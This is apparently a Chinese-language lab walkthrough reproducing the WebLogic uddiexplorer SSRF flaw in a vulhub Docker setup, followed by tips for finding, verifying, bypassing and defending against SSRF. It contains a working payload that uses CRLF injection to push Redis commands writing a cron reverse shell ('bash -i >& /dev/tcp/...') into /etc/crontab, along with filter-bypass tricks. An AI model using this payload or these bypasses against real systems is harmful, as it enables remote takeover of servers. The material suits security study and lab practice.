Weblogic-SSRF漏洞复现
一、SSRF概念
服务端请求伪造(Server-Side Request Forgery),是一种有攻击者构造形成有服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。
SSRF形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能,且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片、文档等等。
二、SSRF用途
1.内外网的端口和服务扫描
2.主机本地敏感数据的读取
3.内外网主机应用程序漏洞的利用
4.内外网web站点漏洞的利用
三、漏洞影响版本
weblogic 10.0.2 -- 10.3.6
四、漏洞复现环境搭建
利用vulhub进行漏洞复现,docker搭建vulhub环境参考: https://blog.csdn.net/qq_36374896/article/details/84102101
Docker-compose build
Docker-compose up -d
五、漏洞复现
1.访问http://127.0.0.1:7001/uddiexplorer/,即可查看uddiexplorer应用
2.SSRF漏洞存在于http://127.0.0.1:7001/uddiexplorer/SearchPublicRegistries.jsp,提交参数值为url:port,根据返回错误不同,可对内网状态进行探测如端口开放状态等
2.1随便输入内容,抓包
2.2发现如下图operator参数,参数的值是url,怀疑可能存在SSRF漏洞
2.3测试是否存在SSRF漏洞,在url后跟端口,把url修改为自己搭建的服务器地址,访问开放的80端口,发现返回如下信息
2.4访问一个不存在的端口,将返回but could not connect over HTTP to server
2.5通过上面的测试,可以发现目标存在SSRF漏洞
3.注入HTTP头,利用Redis反弹shell
Weblogic的SSRF有一个比较大的特点,其虽然是一个”GET/POST”请求,但是我们可以通过传入%0a%0d来注入换行符,某些服务(如redis)是通过换行符来分隔每条命令,本环境可以通过该SSRF攻击内网中的redis服务器。
首先,通过ssrf探测内网中的redis服务器,应为这个漏洞是用docker环境搭建的。
3.1发送3条redis的命令,将反弹shell脚本写入/etc/crontab
set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/172.18.0.1/8888 0>&1\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save
3.2对命令进行URL编码,注意不能对所有命令编码,需要对部分特殊符号进行URL编码
http://172.18.0.2:6379/test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.18.0.1%2F21%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa
3.3监听,成功获得shell
六、SSRF漏洞的寻找
1.分享,通过URL地址分享网页内容
2.转码服务
3.在线翻译
4.图片加载与下载:通过URL地址加载或者下载图片
5.图片、文章收藏功能
6.未公开的api实现以及其他调用URL的功能
7.从URL关键字中寻找:share、wap、url、link、src、source、target、u、3g、display、sourceURI、imageURL、domain……
七、SSRF漏洞的验证方法
1.因为SSRF漏洞是构造服务器发送请求的安全漏洞,所以我们可以通过抓包分析发送的请求是否是由服务器端发送的来判断是否存在SSRF漏洞
2.在页面源码中查找访问的资源地址,如果该资源地址类型为http://www.xxx.com/a.php?image=(地址)的可能存在SSRF漏洞
八、SSRF绕过技巧
1.添加端口号 http://127.0.0.1:8080
2.短网址绕过 http://dwz.cn/11SMa
3.IP限制绕过 十进制转换、八进制转换、十六进制转换、不同进制组合转换
4.协议限制绕过 当url协议限制只为http(s)时,可以利用follow redirect特性,构造302跳转服务,结合dict://,file://,gopher://
5.可以指向任意ip的域名:xip.io
6.@ http://[email protected]
九、SSRF防御
1.过滤返回信息,验证远程服务器对请求的响应是比较容易的方法。如果web应用是去获取某一种类型的文件。那么在把返回结果展示给用户之前先验证返回的信息是否符合标准。
2.统一错误信息,避免用户可以根据错误信息来判断远程服务器的端口状态。
3.限制请求的端口为http常用的端口,比如80,443,8080,8090
4.黑名单内网ip。避免应用被用来获取内网数据,攻击内网
5.禁用不需要的协议。仅仅允许http和https请求。可以防止类似于file:///,gopher://,ftp:// 等引起的问题
---------------------------------------------------------------------------------------------------